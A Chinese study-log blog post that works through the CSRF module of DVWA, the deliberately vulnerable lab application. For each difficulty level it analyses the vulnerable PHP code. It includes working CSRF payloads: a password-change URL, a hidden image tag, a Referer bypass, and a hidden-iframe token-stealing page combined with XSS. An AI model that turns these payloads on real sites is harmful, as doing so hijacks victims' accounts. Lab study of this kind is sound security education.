• DVWA学习记录 PartⅢ


    CSRF

    1. 题目

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。

    CSRF1

    2. Low

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    ?> 
    

    服务器收到请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制。

    b. 漏洞利用

    payload:http://[ip]/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change

    当受害者点击了这个链接,他的密码就会被改成password

    可以将这个url转换为短链接,进行伪装。

    或者构建钓鱼网页,将代码隐藏在其中:

    <img src="http://118.89.65.237/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change" style="display:none;"/>
    

    3. Medium

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Checks to see where the request came from 
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { 
            // Get input 
            $pass_new  = $_GET[ 'password_new' ]; 
            $pass_conf = $_GET[ 'password_conf' ]; 
    
            // Do the passwords match? 
            if( $pass_new == $pass_conf ) { 
                // They do! 
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
                $pass_new = md5( $pass_new ); 
    
                // Update the database 
                $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
                $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
                // Feedback for the user 
                echo "<pre>Password Changed.</pre>"; 
            } 
            else { 
                // Issue with passwords matching 
                echo "<pre>Passwords did not match.</pre>"; 
            } 
        } 
        else { 
            // Didn't come from a trusted source 
            echo "<pre>That request didn't look correct.</pre>"; 
        } 
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    ?> 
    

    stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写),返回位置。

    注释:stripos() 函数是不区分大小写的。

    注释:该函数是二进制安全的。

    stripos(string, find, start)
    string	必需。规定被搜索的字符串。
    find	必需。规定要查找的字符。
    start	可选。规定开始搜索的位置。
    

    Medium级别的代码检查了保留变量 HTTP_REFERER中是否包含SERVER_NAME,希望通过这种机制抵御CSRF攻击。

    元素/代码 描述
    $_SERVER['PHP_SELF'] 返回当前执行脚本的文件名。
    $_SERVER['GATEWAY_INTERFACE'] 返回服务器使用的 CGI 规范的版本。
    $_SERVER['SERVER_ADDR'] 返回当前运行脚本所在的服务器的 IP 地址。
    $_SERVER['SERVER_NAME'] 返回当前运行脚本所在的服务器的主机名(比如 www.w3school.com.cn)。
    $_SERVER['SERVER_SOFTWARE'] 返回服务器标识字符串(比如 Apache/2.2.24)。
    $_SERVER['SERVER_PROTOCOL'] 返回请求页面时通信协议的名称和版本(例如,“HTTP/1.0”)。
    $_SERVER['REQUEST_METHOD'] 返回访问页面使用的请求方法(例如 POST)。
    $_SERVER['REQUEST_TIME'] 返回请求开始时的时间戳(例如 1577687494)。
    $_SERVER['QUERY_STRING'] 返回查询字符串,如果是通过查询字符串访问此页面。
    $_SERVER['HTTP_ACCEPT'] 返回来自当前请求的请求头。
    $_SERVER['HTTP_ACCEPT_CHARSET'] 返回来自当前请求的 Accept_Charset 头( 例如 utf-8,ISO-8859-1)
    $_SERVER['HTTP_HOST'] 返回来自当前请求的 Host 头。
    $_SERVER['HTTP_REFERER'] 返回当前页面的完整 URL(不可靠,因为不是所有用户代理都支持)。
    $_SERVER['HTTPS'] 是否通过安全 HTTP 协议查询脚本。
    $_SERVER['REMOTE_ADDR'] 返回浏览当前页面的用户的 IP 地址。
    $_SERVER['REMOTE_HOST'] 返回浏览当前页面的用户的主机名。
    $_SERVER['REMOTE_PORT'] 返回用户机器上连接到 Web 服务器所使用的端口号。
    $_SERVER['SCRIPT_FILENAME'] 返回当前执行脚本的绝对路径。
    $_SERVER['SERVER_ADMIN'] 该值指明了 Apache 服务器配置文件中的 SERVER_ADMIN 参数。
    $_SERVER['SERVER_PORT'] Web 服务器使用的端口。默认值为 “80”。
    $_SERVER['SERVER_SIGNATURE'] 返回服务器版本和虚拟主机名。
    $_SERVER['PATH_TRANSLATED'] 当前脚本所在文件系统(非文档根目录)的基本路径。
    $_SERVER['SCRIPT_NAME'] 返回当前脚本的路径。
    $_SERVER['SCRIPT_URI'] 返回当前页面的 URI。

    b. 漏洞利用

    过滤规则是http包头的Referer参数的值中必须包含主机名

    我们可以将攻击页面命名为[ip].html就可以绕过了

    4. High

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Do the passwords match? 
        if( $pass_new == $pass_conf ) { 
            // They do! 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update the database 
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match.</pre>"; 
        } 
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
    } 
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    ?> 
    

    High级别的代码加入了Anti-CSRF token机制,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

    b. 漏洞利用(完全复制自大佬博客)

    新手指南:DVWA-1.9全级别教程之CSRF

    要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。

    试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。

    <script type="text/javascript">
    function attack(){
       document.getElementsByName('user_token')[0].value = document.getElementById("hack").
       contentWindow.document.getElementsByName('user_token')[0].value;
       document.getElementById("transfer").submit(); 
    }
    </script>
    <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
    </iframe>
    <body onload="attack()">
    <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
    	<input type="hidden" name="password_new" value="password">
        <input type="hidden" name="password_conf" value="password">
       	<input type="hidden" name="user_token" value="">
      	<input type="hidden" name="Change" value="Change">
    </form>
    </body>
    

    攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。

    然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。

    由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

    1.png

    这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token

    1.png

    使用token,进行CSRF攻击。

    5. impossible

    a. 代码分析

    <?php 
    if( isset( $_GET[ 'Change' ] ) ) { 
        // Check Anti-CSRF token 
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
    
        // Get input 
        $pass_curr = $_GET[ 'password_current' ]; 
        $pass_new  = $_GET[ 'password_new' ]; 
        $pass_conf = $_GET[ 'password_conf' ]; 
    
        // Sanitise current password input 
        $pass_curr = stripslashes( $pass_curr ); 
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
        $pass_curr = md5( $pass_curr ); 
    
        // Check that the current password is correct 
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); 
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); 
        $data->execute(); 
    
        // Do both new passwords match and does the current password match the user? 
        if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { 
            // It does! 
            $pass_new = stripslashes( $pass_new ); 
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); 
            $pass_new = md5( $pass_new ); 
    
            // Update database with new password 
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); 
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); 
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); 
            $data->execute(); 
    
            // Feedback for the user 
            echo "<pre>Password Changed.</pre>"; 
        } 
        else { 
            // Issue with passwords matching 
            echo "<pre>Passwords did not match or current password incorrect.</pre>"; 
        } 
    } 
    // Generate Anti-CSRF token 
    generateSessionToken(); 
    ?> 
    

    使用PDO防止SQL注入,同时要求输入原始密码,简单粗暴的防止了CSRF。

  • 相关阅读:
    local http
    redis 存储时间区间的数据
    json 和 jsonp
    ssdb 常用命令行
    php 冒泡排序
    pdo 函数
    异步的消息队列
    php 全局变量$_SERVER
    php 技能树
    get_called_class/get_class方法
  • 原文地址:https://www.cnblogs.com/chalan630/p/12748619.html
Copyright © 2020-2023  润新知